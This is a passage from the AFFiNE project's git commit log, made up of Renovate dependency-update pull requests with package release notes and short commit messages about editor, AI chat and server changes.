-   fix!: corrected broken lockfile ([#&#8203;339](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/339)) ([213cd65](https://redirect.github.com/ifaxity/vite-plugin-istanbul/commit/213cd65c3b6c3ac2a706c7d3591d4bd13808bee2))

##### Features

-   allow passing generatorOpts down to Babel ([#&#8203;323](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/323)) ([c58d180](https://redirect.github.com/ifaxity/vite-plugin-istanbul/commit/c58d180a5fc6bb18827ba6b7960fffdee8b16409))

##### BREAKING CHANGES

-   previous pr made an api change

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-13 03:46:08 +00:00
akumatus d17f5651f1 feat(core): add with your docs label to ai answer (#10124)
Fix issue [BS-2425](https://linear.app/affine-design/issue/BS-2425).

![截屏2025-02-12 16.34.20.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/89576eac-e176-4890-8d58-7c39d0ae1d9b.png)
2025-02-13 03:28:27 +00:00
Yifeng Wang 26de7a56fd refactor(editor): remove redundant getOptional for gfx (#10142) 2025-02-13 11:27:20 +08:00
doouding ed0b25def0 fix: drop indicator in center peek (#10136) 2025-02-13 02:53:07 +00:00
doouding 81ead5cd35 fix: database cross doc dragging (#10126) 2025-02-13 02:53:06 +00:00
pengx17 5be4d677da feat(electron): app tabs width styles (#10131)
fix AF-2212
2025-02-13 02:36:05 +00:00
fengmk2 0ce4cc8609 refactor(server): add debug info on global exception log (#10118)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/4fc84ed7-a3a3-452b-85d0-240847793c5c.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/60d9342c-6bf2-4ed0-817a-8e4eba3e0832.png)
2025-02-13 02:20:02 +00:00
L-Sun 9a17422d36 fix(editor): wrong position of remote selection and at menu in edgeless (#10137)
Close [BS-2552](https://linear.app/affine-design/issue/BS-2552/menu-loading-时滚动,定位错误), [BS-2490](https://linear.app/affine-design/issue/BS-2490/note-block-的menu的输入阴影错位), [BS-2300](https://linear.app/affine-design/issue/BS-2300/at-menu的输入阴影在暗黑模式看不见)

### What  Changes
- fix the position of remote selection mask and @ menu input mask in edgeless
- fix the position of @ menu is no updated during edgeless viewport change
- update @ menu mask color in dark mode

### Before
https://github.com/user-attachments/assets/f44f618e-a791-497a-9f53-74824fe48dea

### After
https://github.com/user-attachments/assets/5d87b999-deae-4435-9b8b-4cdf55393395
2025-02-13 01:56:01 +00:00
doouding f0a99851aa fix: embed block style when dragging doc from sidebar doc list to edgeless (#10122) 2025-02-13 01:35:33 +00:00
doouding 40121b6ad5 feat: dragged blocks should set opacity (#10119) 2025-02-13 01:35:33 +00:00
Yifeng Wang fc77c7d41a refactor(editor): move worker renderer to presets with basic test (#10127) 2025-02-12 19:35:06 -06:00
doouding 270d1754a3 feat: edgeless dnd preview (#10117) 2025-02-12 12:37:07 +00:00
doouding f89fcf82f8 feat: edgeless dnd (#9988)
### Changed
- Support edgelss dnd
- Simplify the drag-handle state
2025-02-12 12:37:06 +00:00
forehalo 8129434a2e fix(server): allow to checkout selfhost team in canary (#10130) 2025-02-12 12:19:28 +00:00
github-actions[bot] e4e06f35bb chore(i18n): sync translations (#10026)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-12 12:18:24 +00:00
Saul-Mirone e7cc710f8e refactor(editor): remove service global type (#10129)
Closes: [BS-2566](https://linear.app/affine-design/issue/BS-2566/remove-global-types-in-service)
2025-02-12 11:46:10 +00:00
aki-chang-dev 6730122108 feat(android): implement capacitor/keyboard plugin (#10125) 2025-02-12 11:28:56 +00:00
renovate 1409408a66 chore: bump up all non-major dependencies (#10116)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.4.0` -> `9.5.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.4.0/9.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.9` -> `1.1.10`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.9/1.1.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`5.0.0` -> `5.0.1`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.17` -> `2.3.18`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.1` -> `9.2.2`](https://renovatebot.com/diffs/npm/html-validate/9.2.1/9.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [tldts](https://redirect.github.com/remusao/tldts) | [`6.1.68` -> `6.1.77`](https://renovatebot.com/diffs/npm/tldts/6.1.68/6.1.77) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [zod](https://zod.dev) ([source](https://redirect.github.com/colinhacks/zod)) | [`3.24.1` -> `3.24.2`](https://renovatebot.com/diffs/npm/zod/3.24.1/3.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

### [`v9.5.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#950-2025-02-10)

[Compare Source](https://redirect.github.com/faker-js/faker/compare/v9.4.0...v9.5.0)

##### Features

-   **image:** add AI-generated avatars ([#&#8203;3126](https://redirect.github.com/faker-js/faker/issues/3126)) ([9e13953](https://redirect.github.com/faker-js/faker/commit/9e1395380cf9baf9f0350c43cbbc303430e77dfb))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.30.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1300)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.29.0...v1.30.0)

##### 🚀 (Enhancement)

-   feat(sdk-metrics): PeriodicExportingMetricReader now flushes pending tasks at shutdown [#&#8203;5242](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5242)

##### 🐛 (Bug Fix)

-   fix(sdk-trace-base): do not load OTEL\_ env vars on module load, but when needed [#&#8203;5233](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5233)
-   fix(instrumentation-xhr, instrumentation-fetch): content length attributes no longer get removed with `ignoreNetworkEvents: true` being set [#&#8203;5229](https://redirect.github.com/open-telemetry/opentelemetry-js/issues/5229)

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.10`](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.1`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#501)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@5.0.0...@vanilla-extract/vite-plugin@5.0.1)

##### Patch Changes

-   Updated dependencies \[[`965fd03`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/965fd03ff26dd324ec24734aa7700f1fe89bd483)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.2

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/webpack-plugin)</summary>

### [`v2.3.18`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/webpack-plugin/CHANGELOG.md#2318)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/webpack-plugin@2.3.17...@vanilla-extract/webpack-plugin@2.3.18)

##### Patch Changes

-   Updated dependencies \[[`965fd03`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/965fd03ff26dd324ec24734aa7700f1fe89bd483)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.2.2`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#922-2025-02-12)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.2.1...v9.2.2)

##### Bug Fixes

-   handle dashes in custom element names ([4a87773](https://gitlab.com/html-validate/html-validate/commit/4a877738c5b8d4c54ec478b78ca2ab2520cd281e)), closes [#&#8203;283](https://gitlab.com/html-validate/html-validate/issues/283)

</details>

<details>
<summary>remusao/tldts (tldts)</summary>

### [`v6.1.77`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6177-Sat-Feb-08-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.76...v6.1.77)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2273](https://redirect.github.com/remusao/tldts/pull/2273) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### Authors: 1

-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.76`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6176-Fri-Jan-31-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.75...v6.1.76)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2266](https://redirect.github.com/remusao/tldts/pull/2266) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.10 to 22.12.0 [#&#8203;2264](https://redirect.github.com/remusao/tldts/pull/2264) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.31.0 to 4.32.1 [#&#8203;2265](https://redirect.github.com/remusao/tldts/pull/2265) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.75`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6175-Sun-Jan-26-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.74...v6.1.75)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2261](https://redirect.github.com/remusao/tldts/pull/2261) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.8 to 22.10.10 [#&#8203;2259](https://redirect.github.com/remusao/tldts/pull/2259) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump mocha from 11.0.1 to 11.1.0 [#&#8203;2255](https://redirect.github.com/remusao/tldts/pull/2255) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.7 to 22.10.8 [#&#8203;2256](https://redirect.github.com/remusao/tldts/pull/2256) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.74`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6174-Wed-Jan-22-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.73...v6.1.74)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2254](https://redirect.github.com/remusao/tldts/pull/2254) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.30.1 to 4.31.0 [#&#8203;2252](https://redirect.github.com/remusao/tldts/pull/2252) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.73`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6173-Sat-Jan-18-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.72...v6.1.73)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2251](https://redirect.github.com/remusao/tldts/pull/2251) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.6 to 22.10.7 [#&#8203;2250](https://redirect.github.com/remusao/tldts/pull/2250) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.72`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6172-Wed-Jan-15-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.71...v6.1.72)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts-tests`, `tldts`
    -   Update upstream public suffix list [#&#8203;2245](https://redirect.github.com/remusao/tldts/pull/2245) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump typescript from 5.7.2 to 5.7.3 [#&#8203;2247](https://redirect.github.com/remusao/tldts/pull/2247) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.5 to 22.10.6 [#&#8203;2248](https://redirect.github.com/remusao/tldts/pull/2248) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.2 to 4.30.1 [#&#8203;2246](https://redirect.github.com/remusao/tldts/pull/2246) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.71`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6171-Mon-Jan-06-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.70...v6.1.71)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2241](https://redirect.github.com/remusao/tldts/pull/2241) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.2 to 22.10.5 [#&#8203;2243](https://redirect.github.com/remusao/tldts/pull/2243) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.1 to 4.29.2 [#&#8203;2242](https://redirect.github.com/remusao/tldts/pull/2242) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.70`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6170-Wed-Dec-25-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.69...v6.1.70)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2237](https://redirect.github.com/remusao/tldts/pull/2237) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.28.1 to 4.29.1 [#&#8203;2238](https://redirect.github.com/remusao/tldts/pull/2238) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.69`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6169-Thu-Dec-19-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.68...v6.1.69)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2234](https://redirect.github.com/remusao/tldts/pull/2234) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;rollup/plugin-typescript](https://redirect.github.com/rollup/plugin-typescript) from 12.1.1 to 12.1.2 [#&#8203;2236](https://redirect.github.com/remusao/tldts/pull/2236) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   `tldts-core`, `tldts-experimental`, `tldts-icann`, `tldts-utils`, `tldts`
    -   Bump [@&#8203;rollup/plugin-node-resolve](https://redirect.github.com/rollup/plugin-node-resolve) from 15.3.0 to 16.0.0 [#&#8203;2235](https://redirect.github.com/remusao/tldts/pull/2235) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

</details>

<details>
<summary>colinhacks/zod (zod)</summary>

### [`v3.24.2`](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...e30870369d5b8f31ff4d0130d4439fd997deb523)

[Compare Source](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...v3.24.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 10:54:57 +00:00
donteatfriedrice bd041cbfcf fix(editor): shadowless element should remove style element correctly (#10128)
[BS-2565](https://linear.app/affine-design/issue/BS-2565/关闭-chat-block-center-peek-后新生成的-chat-block-最后一个-message-样式不正确)
2025-02-12 10:38:07 +00:00
fengmk2 db8557eafb fix(server): get doc diff from doc service (#10067)
close CLOUD-121

avoid sync server to merge doc updates

before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/054bf532-845d-427b-8cc4-f29e56f65720.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fafe9244-c521-4af0-b131-5a6092eb5a16.png)
2025-02-12 10:20:23 +00:00
donteatfriedrice 30612de1ad fix(core): wrap code in ai chat (#10108)
[BS-2540](https://linear.app/affine-design/issue/BS-2540/ai-chat-中-code-block-需要默认换行)
2025-02-12 09:43:52 +00:00
donteatfriedrice e350ba4a9c test: enable chat block e2e test (#10111) 2025-02-12 09:26:52 +00:00
Flrande e3691850ad fix(editor): figma ui issues (#10123) 2025-02-12 09:10:08 +00:00
forehalo 72bf81245a chore(server): set script flavor instead of NODE_ENV (#10121) 2025-02-12 08:49:51 +00:00
akumatus 58fed5928b feat: add doc copilot context api (#10103)
### What Changed?
- Add graphql APIs.
- Provide context and session service in `AIProvider`.
- Rename the state from `embedding` to `processing`.
- Reafctor front-end session create, update and save logic.

Persist the document selected by the user:
[录屏2025-02-08 11.04.40.mov <span class="graphite__hidden">(uploaded via Graphite)</span> <img class="graphite__hidden" src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov" />](https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov)
2025-02-12 08:33:07 +00:00
forehalo 53fdb1e8a5 refactor(server): workspace doc query (#10042) 2025-02-12 08:13:07 +00:00
forehalo 9dcce43360 refactor(core): auth ui (#10101)
close AF-2202 AF-2203
2025-02-12 07:39:09 +00:00
akumatus 573af16aa4 feat(core): upgrade pplx models (#10115)
Old models will be deprecated and will no longer be available to use after 2/22/2025.

https://docs.perplexity.ai/guides/model-cards
2025-02-12 07:21:10 +00:00
pengx17 a589ce151e fix(electron): split view indicator should show menu on click (#10089)
fix AF-2208
2025-02-12 07:04:00 +00:00
renovate 10f1b4cdb6 chore: bump up all non-major dependencies (#10102)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@tanstack/react-table](https://tanstack.com/table) ([source](https://redirect.github.com/TanStack/table/tree/HEAD/packages/react-table)) | [`8.20.6` -> `8.21.2`](https://renovatebot.com/diffs/npm/@tanstack%2freact-table/8.20.6/8.21.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
